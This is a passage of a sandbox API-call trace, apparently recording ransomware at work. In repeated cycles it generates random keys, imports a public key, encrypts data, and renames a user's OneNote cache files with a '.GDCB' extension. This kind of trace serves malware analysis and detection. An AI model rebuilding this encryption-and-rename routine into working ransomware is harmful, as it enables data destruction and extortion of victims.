CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.308] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0185.309] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.310] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.310] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0185.310] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.310] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0185.312] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f827d8) returned 1 [0185.312] CryptGetKeyParam (in: hKey=0x4f827d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.312] CryptEncrypt (in: hKey=0x4f827d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0185.313] GetLastError () returned 0x0 [0185.313] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.313] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0185.315] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82798) returned 1 [0185.315] CryptGetKeyParam (in: hKey=0x4f82798, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.315] CryptEncrypt (in: hKey=0x4f82798, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0185.315] GetLastError () returned 0x0 [0185.315] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.315] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003L.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003l.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0185.317] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0185.318] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0185.319] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x2000, lpOverlapped=0x0) returned 1 [0185.329] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.333] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003L.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003l.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003L.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003l.bin.gdcb")) returned 1 [0185.337] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0185.339] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.340] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.340] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0185.340] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.340] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0185.341] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.342] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.342] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0185.342] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.342] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0185.344] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f826d8) returned 1 [0185.344] CryptGetKeyParam (in: hKey=0x4f826d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.344] CryptEncrypt (in: hKey=0x4f826d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0185.344] GetLastError () returned 0x0 [0185.344] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.344] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0185.346] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82518) returned 1 [0185.346] CryptGetKeyParam (in: hKey=0x4f82518, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.346] CryptEncrypt (in: hKey=0x4f82518, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0185.347] GetLastError () returned 0x0 [0185.347] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.347] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003M.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003m.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0185.349] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0185.350] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0185.351] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x1000, lpOverlapped=0x0) returned 1 [0185.360] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.365] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003M.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003m.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003M.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003m.bin.gdcb")) returned 1 [0185.369] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0185.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.371] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.372] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0185.372] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.372] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0185.373] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.373] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.373] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0185.373] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.374] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0185.376] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82c98) returned 1 [0185.376] CryptGetKeyParam (in: hKey=0x4f82c98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.376] CryptEncrypt (in: hKey=0x4f82c98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0185.376] GetLastError () returned 0x0 [0185.376] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.376] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0185.378] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82718) returned 1 [0185.378] CryptGetKeyParam (in: hKey=0x4f82718, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.378] CryptEncrypt (in: hKey=0x4f82718, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0185.378] GetLastError () returned 0x0 [0185.378] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.378] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003N.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003n.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0185.380] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0185.381] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0185.382] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x8000, lpOverlapped=0x0) returned 1 [0185.420] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.425] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003N.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003n.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003N.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003n.bin.gdcb")) returned 1 [0185.430] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0185.431] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.432] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.432] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0185.432] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.432] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0185.433] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.434] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.434] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0185.434] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0185.434] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0185.436] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82758) returned 1 [0185.436] CryptGetKeyParam (in: hKey=0x4f82758, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.436] CryptEncrypt (in: hKey=0x4f82758, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0185.437] GetLastError () returned 0x0 [0185.437] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0185.437] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0185.439] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82818) returned 1 [0185.439] CryptGetKeyParam (in: hKey=0x4f82818, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.439] CryptEncrypt (in: hKey=0x4f82818, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0185.439] GetLastError () returned 0x0 [0185.439] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.439] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000048.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000048.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0185.441] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0185.442] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0185.443] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0xc000, lpOverlapped=0x0) returned 1 [0185.632] VirtualAlloc (lpAddress=0x0, dwSize=0xc000, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.643] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000048.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000048.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000048.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000048.bin.gdcb")) returned 1 [0185.655] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0185.656] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.657] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0185.657] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0185.657] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0185.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.659] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.659] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0185.659] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.659] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0185.661] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82a58) returned 1 [0185.661] CryptGetKeyParam (in: hKey=0x4f82a58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.661] CryptEncrypt (in: hKey=0x4f82a58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0185.662] GetLastError () returned 0x0 [0185.662] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.662] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0185.663] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82b98) returned 1 [0185.663] CryptGetKeyParam (in: hKey=0x4f82b98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.663] CryptEncrypt (in: hKey=0x4f82b98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0185.664] GetLastError () returned 0x0 [0185.664] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.664] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000004U.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000004u.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0185.666] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0185.667] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0185.668] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x1000, lpOverlapped=0x0) returned 1 [0185.678] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.682] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000004U.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000004u.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000004U.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000004u.bin.gdcb")) returned 1 [0185.732] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0185.734] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.735] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.735] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0185.735] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.735] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0185.736] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.737] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.737] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0185.737] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.737] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0185.739] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f813d8) returned 1 [0185.739] CryptGetKeyParam (in: hKey=0x4f813d8, dwParam=0x8, 